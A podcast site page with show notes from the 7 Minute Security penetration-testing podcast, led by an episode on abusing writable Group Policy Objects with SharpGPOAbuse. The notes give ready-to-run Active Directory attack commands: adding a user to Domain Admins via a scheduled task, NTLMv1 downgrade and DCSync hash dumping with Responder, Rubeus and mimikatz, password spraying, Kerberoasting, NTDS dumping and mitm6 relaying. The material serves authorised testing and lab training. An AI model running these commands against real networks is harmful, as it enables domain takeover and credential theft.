7MS #441: SharpGPOAbuse
7 Minute Security15 Marras 2020

7MS #441: SharpGPOAbuse

Hello friends! Sorry to be late with this episode (again) but we've been heads-down in a lot of cool security work, coming up for air when we can! Today's episode features:

  • A little welcome music that is not the usual scatting of gibberish I torture you with

  • Some cool tools I'm playing with in the lab that we'll do future episodes on in the future:

    • DetectionLab to practice detecting all the bad things!
    • BadBlood to dirty up your AD (your test AD with groups, computers, permissions, etc.). I wish the user import script would let you choose a list of bad passwords to assign the users, but you can also run it manually if you want.
    • Cobalt Strike - we're doing a demo right now!

Most of today's episode focuses on SharpGPOAbuse, a tool that can be used to abuse "generic write" access to GPOs (which you might identify after running BloodHound). Here's a sample syntax you could run:

SharpGPOAbuse.exe --AddUserTask --TaskName "Totes Safe Windoze Updatez" --Author SAMPLECO\ADMINISTRATOR --Command "cmd.exe" --Arguments "/c net group \"Domain Admins\" SomeLowPrivUser /ADD DOMAIN" --GPOName "Name of GPO with Generic Write Access"

This will push a ScheduledTasks.xml file to \\sample.company\Policies\LONG-STRING-REPRESENTING-THE-GPO-ID\User\Preferences\ScheduledTasks

Now if you find that the task is not pushing correctly, it may be that SharpGPOAbuse.exe hasn't been able to update either the GPT.INI file (in the root of the GPO path) and/or the versionNumber value assigned to the GPO itself.
If you need to adjust the versionNumber and GPT.INI value manually, definitely read this Microsoft article so you know how the number is generated and how to increment it properly. This flippin' sweet RastaMouse blog article also helped this click for me.

If you can't seem to update versionNumber using the PowerShell in Rasta's article, you can also open up ADSI Edit and navigate to Default naming context > DC=your,DC=com > CN=System > CN=Policies > CN=LONG-STRING-REPRESENTING-THE-GPO-ID then get the properties of the folder, scroll down and manually adjust the value for versionNumber.

Jaksot(704)

7MS: #559: Tales of Pentest Pwnage - Part 46

7MS: #559: Tales of Pentest Pwnage - Part 46

Ooooo giggidy! Today's episode is about a pentest pwnage path that is super fun and interesting, and I've now seen 3-4 times in the wild. Here are some notes from the audio/video that will help bring this to life for you (oh and read this article for a great tech explanation of what's happening under the hood): Change the Responder.conf file like so: ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) Challenge = 1122334455667788 Run Responder with --disable-ess flag sudo python3 /opt/responder/Responder.py -I eth0 --disable-ess Use printerbug to coax authentication from a domain controller: sudo python3 /opt/krbrelay-dirkjanm/printerbug.py yourdomain.com/someuser@IP.OF.DOMAIN.CONTROLLER IP.OF.ATTACKING.BOX Convert hash to make it easier to crack! sudo python3 /opt/ntlmv1-multi/ntlmv1.py --ntlmv1 THE-HASH-YOU-GOT-FROM-RESPONDER Take the NTHASH:XXX token and go to crack.sh to have it cracked in about 30 seconds! Now you can do a Rubeus asktgt with the DC hash: rubeus.exe asktgt /domain:yourdomain.com /user:DOMAIN-CONTROLLER-NAME$ /rc4:HASH-GOES-HERE /nowrap Now pass the ticket and impersonate the DC LOL MUAHAHAHAHAHAHAAH!! rubeus.exe ptt /ticket:TICKET GOES HERE Use mimikatz to dump all hashes! mimikatz.exe privilege::debug log hashes.txt lsadump::dcsync /domain:yourdomain.com /all /csv

10 Helmi 202322min

7MS #558: How to Build a Vulnerable Pentest Lab - Part 2

7MS #558: How to Build a Vulnerable Pentest Lab - Part 2

Today we continue part 2 of a series we started a few weeks ago all about building a vulnerable pentesting lab. Check out the video above, and here are the main snippets of code and tips to get you going: Use Youzer to import a bunch of bogus users into your Active Directory: sudo python ./youzer.py --generate --generate_length 20 --ou "ou=Contractors,dc=brifly,dc=us" --domain brifly.us --users 1000 --output lusers.csv Make a Kerberoastable user: New-AdUser -Name "Kerba Roastable" -GivenName "Kerba" -Surname "Roastable" -SamAccountName Kerba -Description "ROASTED!" -Path "OU=Contractors,DC=brifly,DC=us" -AccountPassword (ConvertTo-SecureString "Password1" -AsPlainText -force) -passThru -PasswordNeverExpires $true enable-adaccount Kerba setspn -a IIS_SITE/brifly-dc01.brily.us:77777 briflyus\kerba

7 Helmi 202322min

7MS #557: Better Passive Network Visibility Using Teleseer

7MS #557: Better Passive Network Visibility Using Teleseer

Today we're talking about Teleseer, which is an awesome service to give you better network visibility - whether you're on the blue, red or purple team! It all starts with a simple packet capture, and ends with gorgeous visuals and insight into what the heck is on your network and - from a pentester's perspective - delicious vulnerabilities that may lie within!

27 Tammi 20237min

7MS #556: How to Build a Vulnerable Pentest Lab

7MS #556: How to Build a Vulnerable Pentest Lab

Today's episode is brought to us by our friends at Blumira! Today we kick off a series all about building your own vulnerable pentest lab from scratch, specifically: Spinning up a domain controller with a few lines of PowerShell Installing Active Directory Domain Services Setting up an intentionally cruddy password policy Baking in the MS14-025 vulnerability P.S. if you're looking for a more automated/push-button solution to get up and going with a lab to play in, check out some of these options: https://github.com/Orange-Cyberdefense/GOAD https://automatedlab.org/en/latest/ https://github.com/microsoft/MSLab https://github.com/davidprowe/BadBlood https://github.com/cliffe/secgen https://github.com/WazeHell/vulnerable-AD

20 Tammi 20237min

7MS #555: Light Pentest eBook 1.1 Release

7MS #555: Light Pentest eBook 1.1 Release

Today we're releasing version 1.1 of our Light Pentest eBook. Changes discussed in today's episode (and shown live in the accompanying YouTube video) include: Some typos and bug fixes A new section on finding systems with unconstrained delegation and exploiting them A new section on finding easily pwnable passwords via password spraying A new section relaying credentials with MITM6 (be careful using some of its options - read this New ways (and some words of warning) to dump hashes from Active Directory

13 Tammi 20237min

7MS #554: Simple Ways to Test Your SIEM

7MS #554: Simple Ways to Test Your SIEM

Today we talk about Simple Ways to Test Your SIEM. Feel free to check out the YouTube version of this presentation, as well as our interview with Matt from Blumira for even more context, but here are the essential tools and commands covered: Port scanning nmap 10.0.7.0/24 - basic nmap scan massscan -p1-65535,U:1-65535 --rate=1000 10.0.7.0/24 -v - scan all 65k+ TCP and UDP ports! Password spraying Rubeus.exe spray /password:Winter2022! /outfile:pwned.txt - try to log into all AD accounts one time with Winter2022! as the password, and save any pwned creds to pwned.txt Kerberoasting and ASREPRoasting rubeus.exe kerberoast /simple rubeus asreproast /nowrap Key group membership changes net group "GROUP NAME" user-to-add-to-a-group /add Dump Active Directory hashes cme smb IP.OF.THE.DOMAINCONTROLLER -u user -p password --ntds --enabled ntdsutil "ac i ntds" "ifm" "create full c:\dc-backup" q q SMB share hunting Invoke-HuntSMBShares -Threads 100 -OutputDirectory C:\output - SMB enumeration using PowerHuntShares

6 Tammi 202359min

7MS #553: The Artificial Intelligence Throat Burn Episode

7MS #553: The Artificial Intelligence Throat Burn Episode

Hey friends, today's episode is hosted by an AI from Murf.ai because I suffered a throat injury over the holidays and spent Christmas morning in the emergency room! TLDL: I'm fine, but if you want the (sort of) gory details and an update on my condition after my ENT appointment, check out today's episode. Otherwise, we'll see you next week when our regularly scheduled security content continues in 2023. Merry belated Christmas, happy holidays and happiest of new year to you and yours!

30 Joulu 20225min

7MS #552: Tales of Pentest Pwnage - Part 45

7MS #552: Tales of Pentest Pwnage - Part 45

SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! Today's tale of pentest pwnage covers some of the following attacks/tools: Teleseer for packet capture visualizations on steroids! Copernic Desktop Search Running Responder as Responder.py -I eth0 -A will analyze traffic but not poison it I like to run mitm6 in one window with mitm6.py -i eth0 -d mydomain.com --no-ra --ignore-nofqdn and then in another window I do ntlmrelayx.py -6 -wh doesntexist -t ldaps://ip.of.the.dc -smb2support --delegate-access > relaysRphun.log - that way I always have a log of everything happening during the mitm6 attack Vast.ai looks to be a cost-effective way to crack hashes in the cloud (haven't tested it myself yet)

24 Joulu 202257min

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